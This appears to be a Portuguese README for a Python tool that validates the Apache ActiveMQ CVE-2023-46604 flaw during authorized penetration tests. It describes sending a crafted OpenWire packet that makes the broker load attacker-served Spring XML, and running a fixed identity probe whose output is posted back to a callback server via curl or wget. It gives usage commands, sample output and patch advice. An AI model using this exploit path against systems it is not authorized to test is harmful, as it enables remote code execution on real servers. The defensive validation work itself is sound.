
Validador não destrutivo para Apache ActiveMQ CVE-2023-46604. Envia pacotes OpenWire personalizados, usa servidor de callback HTTP para confirmar RCE ou carregamento de XML, e gera evidências em CSV/JSON para testes de penetração autorizados.
Um validador de arquivo único e não destrutivo para Apache ActiveMQ CVE-2023-46604. Ele inicia seu próprio servidor de callback HTTP, gera XML Spring específico para o alvo em memória, envia o pacote OpenWire manipulado, correlaciona callbacks com tokens únicos e grava evidências em CSV/JSON.
O projeto foi projetado para testes de penetração autorizados e validação de frotas. Ele deliberadamente não implementa reverse shells, execução irrestrita de comandos, expansão CIDR, persistência ou preparação de payloads.
Dois modos de prova fixos estão disponíveis:
rce executa uma sonda de identidade fixa e somente leitura e retorna sua saída ao servidor HTTP integrado. Um callback confirma a execução de comandos do sistema operacional no contexto do serviço ActiveMQ.xml serve um contexto Spring vazio. Uma busca confirma que a mensagem OpenWire manipulada fez o alvo instanciar ClassPathXmlApplicationContext e recuperar XML controlado pelo atacante, sem iniciar um processo.Nenhum arquivo XML precisa ser criado ou hospedado separadamente.
--fail-on-vuln compatível com CIA porta OpenWire padrão é 61616, mas portas não padrão são suportadas.
Use endereços apenas para documentação nos exemplos; substitua-os pelos seus ativos autorizados.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616 \
--callback-host 192.0.2.50
O script inicia o servidor de callback automaticamente em TCP/8000, serve o XML gerado, envia o pacote OpenWire, aguarda evidências, imprime uma tabela de resultados e grava:
activemq-cve-2023-46604-results.csv
python3 activemq_validator.py \
--authorized \
--target mq01.example.test:61616 \
--target mq02.example.test:61616 \
--target tcp://192.0.2.23:61500 \
--callback-host 192.0.2.50 \
--workers 4 \
--json-output results.json
Crie targets.txt:
# Um host explicitamente autorizado por linha
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617
Execute:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--http-port 8000 \
--platform linux \
--proof rce \
--workers 8 \
--wait 15 \
--output findings.csv \
--json-output findings.json
Arquivos de alvos podem conter linhas em branco e comentários que começam com #. A expansão CIDR não é suportada intencionalmente; enumere o inventário autorizado explicitamente.
Para redes roteadas simples, omita --callback-host:
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616
A ferramenta seleciona o endereço de origem local usado para rotear em direção ao primeiro alvo. Especifique --callback-host ao testar através de NAT, VPNs, contêineres, hosts de salto ou sistemas multi-homed.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.30:61616 \
--callback-host 192.0.2.50 \
--platform windows \
--proof rce
A sonda do Windows usa um comando PowerShell fixo e não interativo para retornar a identidade do serviço, o nome do computador e a versão do SO. Ela não fornece um shell interativo.
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--proof xml
Este modo não instancia ProcessBuilder.
Use um alvo ssl://:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50
Para um listener interno com certificado não confiável:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50 \
--tls-no-verify
--tls-no-verify afeta apenas a conexão TLS OpenWire. O servidor de callback é HTTP.
| Status | Significado |
|---|---|
CONFIRMED_VULNERABLE_RCE | O alvo buscou seu XML e o comando de identidade fixo retornou evidências. |
CONFIRMED_VULNERABLE_XML_LOAD | No modo xml, o alvo buscou o documento XML exclusivo. |
VULNERABLE_XML_LOAD_ONLY | No modo rce, a recuperação do XML ocorreu, mas o callback do comando não. O caminho vulnerável de instanciação de classe é confirmado; ferramentas de callback, egress ou execução de processos podem estar restritas. |
NOT_CONFIRMED | O pacote foi enviado, mas nenhuma evidência HTTP correlacionada chegou antes do prazo. Isso não é prova de que o host está corrigido. |
UNREACHABLE | A conexão TCP/TLS ou o envio do pacote falhou. |
Um broker corrigido, porta incorreta, filtragem de egress, problemas de roteamento, incompatibilidade de TLS e controles de endpoint podem afetar a validação baseada em callback. Preserve os timestamps de CSV/JSON e a saída do callback como evidência de relatório.
A sonda de identidade do Linux retorna uma saída semelhante a:
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...
Ela tenta curl, wget e BusyBox wget para o POST HTTP. Se o XML for buscado, mas nenhum desses clientes estiver disponível, o resultado é VULNERABLE_XML_LOAD_ONLY em vez de um falso negativo.
0: validação concluída, ou vulnerabilidades encontradas sem --fail-on-vuln2: pelo menos um resultado vulnerável foi encontrado e --fail-on-vuln foi fornecidoExemplo de uso em CI:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--fail-on-vuln
O CVE-2023-46604 afeta o unmarshalling OpenWire do Java. O validador envia um ExceptionResponse OpenWire com marshalling solto cuja classe de exceção é:
org.springframework.context.support.ClassPathXmlApplicationContext
A mensagem de exceção é a URL exclusiva do XML Spring gerado. O código vulnerável do ActiveMQ instancia a classe selecionada pelo atacante com essa URL. No modo rce, o contexto Spring inicia uma sonda ProcessBuilder fixa; no modo xml, o contexto está vazio.
Cada alvo recebe um token diferente, por exemplo:
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>
Isso permite que callbacks simultâneos sejam atribuídos ao alvo correto.
--authorized Reconhecimento de autorização obrigatório
-t, --target VALUE Alvo explícito; repetível
-T, --targets-file FILE Um alvo explícito por linha; repetível
--default-port PORT Padrão 61616
--tls Usar TLS para todos os alvos
--tls-no-verify Desabilitar validação de certificado TLS OpenWire
--callback-host HOST Endereço que os alvos usam para callbacks HTTP
--bind-host HOST Endereço de bind HTTP local; padrão 0.0.0.0
--http-port PORT Porta HTTP local; padrão 8000; 0 seleciona uma porta livre
--proof rce|xml Modo de prova fixo; padrão rce
--platform linux|windows SO do alvo para o modo RCE; padrão linux
--workers N Workers paralelos; máximo 32
--connect-timeout SECONDS Timeout TCP/TLS
--wait SECONDS Janela de coleta de callbacks
--retries N Uma a três tentativas de envio de pacote
--retry-delay SECONDS Atraso entre tentativas
-o, --output FILE Destino das evidências CSV
--json-output FILE Destino JSON opcional
--verbose Mostrar logs de solicitações HTTP
--fail-on-vuln Sair com 2 quando um resultado vulnerável for encontrado
python3 -m unittest discover -s tests -v
Os testes verificam a análise de alvos, rejeição de CIDR, boa formação do XML e a estrutura do quadro OpenWire sem contatar nenhum alvo.
Atualize o ActiveMQ para uma versão corrigida e atualmente suportada. O aviso da Apache identificou versões corrigidas para os ramos então atuais como ActiveMQ 5.15.16, 5.16.7, 5.17.6, 5.18.3 e 6.0.0, e Artemis 2.31.2. Também restrinja os listeners OpenWire a clientes confiáveis e monitore recuperações de XML de saída inesperadas.
Este repositório é para validação defensiva e avaliações de segurança autorizadas. Ele omite intencionalmente:
--commandA sonda de identidade fixa é suficiente para demonstrar a execução remota de comandos e o impacto na conta de serviço sem estabelecer acesso interativo.
https://activemq.apache.org/news/cve-2023-46604https://activemq.apache.org/components/classic/securityhttps://github.com/apache/activemqhttps://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604MIT. Consulte LICENSE.